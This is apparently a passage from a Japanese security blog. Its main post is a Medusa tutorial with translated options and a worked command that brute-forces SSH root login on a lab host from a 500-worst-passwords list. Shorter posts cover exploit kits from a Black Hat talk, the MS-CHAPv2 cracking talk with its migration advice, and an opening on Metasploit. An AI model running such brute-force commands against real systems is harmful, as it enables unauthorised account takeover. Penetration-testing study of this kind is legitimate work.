解析した結果は実行ファイルがあるフォルダの AssembledFiles の下に作られる。
html ファイルやメールの添付ファイルもここに保存されるため、必要な場合はここから取り出すことが可能。

2012年12月19日水曜日

medusa の使い方

パスワードクラックツールとして有名な medusa の使い方。
ほかにもリモートからのクラックツールとしては hydra とか ncrack が有名だが 機能が充実してそうな medusa を使う。

以下の@ITのサイトを参考にした。
http://www.atmarkit.co.jp/fsecurity/rensai/dknight06/dknight01.html

BackTrack には標準で付属しているためインストールなどは省略。
medusa 以外に必要になるのがユーザ名のリストやパスワードリスト、辞書など。

たとえば以下のサイトは2008年のワーストパスワードトップ500がある。
ここから抜き出しても使用できる。
http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time

以下、オプションで使いそうな部分だけ日本語に。

# medusa 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : 検査対象のホスト名またはIPアドレスを指定
  -H [FILE]    : 検査対象のホスト名またはIPアドレスが記述されたファイルを指定
  -u [TEXT]    : 検査するユーザ名を指定
  -U [FILE]    : 検査するユーザ名が記述されたファイルを指定
  -p [TEXT]    : 検査するパスワードを指定
  -P [FILE]    : 検査するパスワードが記述されたファイルを指定
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : n を指定するとパスワードなし、s を指定すると Password = Username で検査
  -M [TEXT]    : 検査するモジュール、要は ssh とか ftp とかを指定
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : デフォルトではないポートを使用するときに指定、ssh なのに tcp 1000 とか使うとき
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process 
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : 表示レベルを 0 - 6 で指定
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

先ほどのワースト500のパスワードリストを使って、192.168.0.100 の ssh サーバに設定された root/pasword に対しての実行結果は以下のとおり。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1 
GENERAL: Total Users: 1
GENERAL: Total Passwords: 501

The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 501 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 501 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]
GENERAL: Medusa has finished.

これが500ワード全部実行するとログが多くなるので、-v で 4 を指定すると成功のみ表示される。
3以下は結果が出力されない。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh -v 4
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 


The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]

2012年8月14日火曜日

Exploit kits についてのレポート


Black Hat 2012 のセッション資料にて最近の Exploit kits の紹介がされている。

https://media.blackhat.com/bh-us-12/Briefings/Jones/BH_US_12_Jones_State_Web_Exploits_Slides.pdf

この中で紹介されている Exploit Kits は以下のとおり
  • Black Hole
    • JavaScript 関係が非常に充実しているらしい
    • あと、最近世間を騒がせている
  •  Phoenix Exploit Kit
    • 非常に多くの Exploit を使える
    • バージョンによって使える機能が違う
  • Yang Pack
    • 今年はじめぐらいから出始めた
    • 中国製
  • Sweet Orange Exploit Kit
    • 今年はじめぐらいから出始めた
    • 結構いい値段
  • Nuclear Pack v2
    • anti-honeyclient(ハニーポット?)機能搭載

2012年8月6日月曜日

End of Days for MS-CHAPv2

End of Days for MS-CHAPv2 と言う見出しで話題になっているのでとりあえず読んでみる。

Moxie Marlinspike and David Hulton gave a talk at Defcon 20 on a presentation on cracking MS-CHAPv2 with 100% success rate. This protocol is still very much in use with PPTP VPNs, and WPA2 Enterprise environments for authentication.
 Moxie Marlinspike と David Hulton が MS-CHAPv2を100%の確立でクラッキングを成功させた。MS-CHAPv2 は PPTP や WPA2 の企業向け認証でよく使われている。

Moxie's recommendations :
1- All users and providers of PPTP VPN solutions should immediately start migrating to a different VPN protocol. PPTP traffic should be considered unencrypted.
2- Enterprises who are depending on the mutual authentication properties of MS-CHAPv2 for connection to their WPA2 Radius servers should immediately start migrating to something else.
 Moxie の推奨は、
1. PPTP を使った VPN はすぐに他の VPN プロトコルに切り替える、PPTP の通信は暗号化されていないと考えるべき
2. WPA2 の Radius サーバへの通信で MS-CHAPv2 を使っている企業はすぐに他の方法へ移行すべき

Knowing that MS-CHAPv2 can now be cracked, what alternatives are you considering to secure your now insecure communications? The two alternatives suggested by Moxie are "[...] OpenVPN configuration, or IPSEC in certificate rather than PSK mode."
MS-CHAPv2 が破られてしまった現在、あなたはどんな代替手段を選びますか? Moxie は OpenVPN または IPSEC の証明書付きを提案している。

内容は上記のような感じになっていて、Cracking MS-CHAPv2 with a 100% success rate に本人たちの詳しい記事が載っている。


2012年7月12日木曜日

Metasploit

「実践 Metaploit」を片手に使い方メモを残していきます。BT5 で msfconsole メインで使います。そのうち変わるかも。

wikipedia より
Metasploitは、オープンソースなコンピュータセキュリティに関するプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス(コンピュータ・フォレンジクスによる解析への対抗技術)などを主な守備範囲としたプロジェクトの名称である。また、本プロジェクトのその成果ソフトウェアとしてよく知られるMetasploit Frameworkの省略名としてもしばしば用いられる